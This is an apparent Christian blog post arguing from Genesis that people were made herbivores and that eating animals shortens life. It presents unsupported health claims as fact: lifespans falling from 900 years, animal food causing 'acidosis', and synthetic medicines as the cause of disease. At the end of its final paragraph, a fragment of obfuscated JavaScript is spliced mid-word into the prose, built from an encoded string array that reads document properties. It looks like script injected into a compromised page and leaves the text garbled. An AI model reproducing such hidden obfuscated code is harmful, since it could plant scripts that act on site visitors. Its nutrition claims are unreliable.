A World Better than Eden: How Should the Gospel Impact Your Diet

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A World Better than Eden: How Should the Gospel Impact Your Diet

The Gospel impacts every single area of one’s life, food and dietary habits included. It is our hope that Christ’s Kingdom would benefit from nutritional knowledge to build healthy bodies and minds, so that Christians will live longer lives for the work that God has called his people to live out here on this earth. Too often people are looking for cures from diseases by turning to synthetic medicines that produce other illnesses or diseases rather than turning to good nutrition advice and healthy lifestyle choices. Take for example the average commercial advertising the latest drug: they spend 3/4 of the time explaining to the potential customer that this new drug can cause a vast array of other health issues and many times even death. Most people look for a quick fix because they are not willing to deal with the root problem.

And this is what the Gospel drives at; the Gospel drives at the root of the problem — one’s heart. Christians, above all people, are called to have self control in all things. “A man without self-control is like a city broken into and left without walls” 1 . Many people think it’s completely normal and expected to constantly deal with headaches, stomach issues, arthritis, inflammation, skin issues, and other various ailments. But this does not have to be the case. Most diseases are related to poor food choices and the indulgence of those mal-nutritious foods. Your body is a living organism that needs good fuel to keep it running well.

Originally, we (the human race) were designed to be herbivores, as was all of God’s creatures. “And God said, ‘Behold, I have given you every plant yielding seed that is on the face of all the earth, and every tree with seed in its fruit. You shall have them for food. And to every beast of the earth and to every bird of the heavens and to everything that creeps on the earth, everything that has the breath of life, I have given every green plant for food'” 2 . We see a change though in Genesis chapter 3:21. The fall of mankind takes place and an animal is sacrificed by God to cover the sins of Adam and Eve. Here we are not told they were permitted to eat animals, not until Genesis 9:3 does God allow animals to be eaten. A question you should be asking yourself is why did God allow for the eating of animals? From induction one can conclude it is a result of sin and God’s pointing toward the Lamb of God who would be slain for sin.

The sacrifice of animals as an offering of sin foreshadowed the sacrifice of Jesus. The shedding of blood had to of been a frightful thing for Adam and Eve to experience. They had never seen death up to this point. They had never seen an innocent creature whimpering and bleeding its life’s blood as a result of their sin. God was revealing to them how serious their sin was.

The institution of the sacrificial system was both a positive and negative sanction of the direct disobedience of Adam and Eve’s sin. It was positive to God’s people in the Old Testament because they experienced the grace of God in ways they had or never would have experienced if the Fall had not taken place. It was a blessing in disguise you could say. The sacrificial system was also a curse because the people of God were to eat the animals that were sacrificed. The introduction of animals into the human diet started to shorten human life span from 900 + years down to only several decades around the time of Christ 3 . Granted there were other factors that ensured a long lifespan before Noah’s flood, but the introduction of animal based foods are a major part in the breakdown of the human body, creating what’s known scientifically today as acidosis 4 .

If the consumption of animal based products was permitted by God due to man’s sin for a sacrificial covering that ultimately pointed to the death of Jesus, what then is the necessity to kill animals for food since Jesus was the final sacrifice for the covering of sin? For clarification, we are not saying that it is sinful to eat animal products or that the Bible says we should stop eating animal food sources, but what we want to bring to your attention is several fold. First, that eating animals is not how God originally designed the creation. Second, animal food sources shorten lifespans and the quality of life. Third, the restored earth will have no death of animals 5.

With our worldview, we see that nutrition and health are part of restoration of God’s creation. History is moving toward a better than Eden world. History has purpose that is not to be tossed to the wayside once Jesus comes back. But the history of the world is moving forward. The kingdom of God is advancing. God’s common grace is going to help make this world better. Even unbelievers can benefit from the common knowledge that God gives. The goodness of God, as Paul puts it in Romans 2, is meant to lead people to repentance, to come to the knowledge of that special grace revealed in Jesus Christ. ing[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Show 5 footnotes

  1. Proverbs 25:28
  2. Genesis 1:29-30
  3. “Old Age in Ancient Rome” www.HistoryToday.com/mary-harlow/old-age-ancient-rome
  4. “Forks Over Knives” www.ForksOverKnives.com
  5. Isaiah 65:17-26
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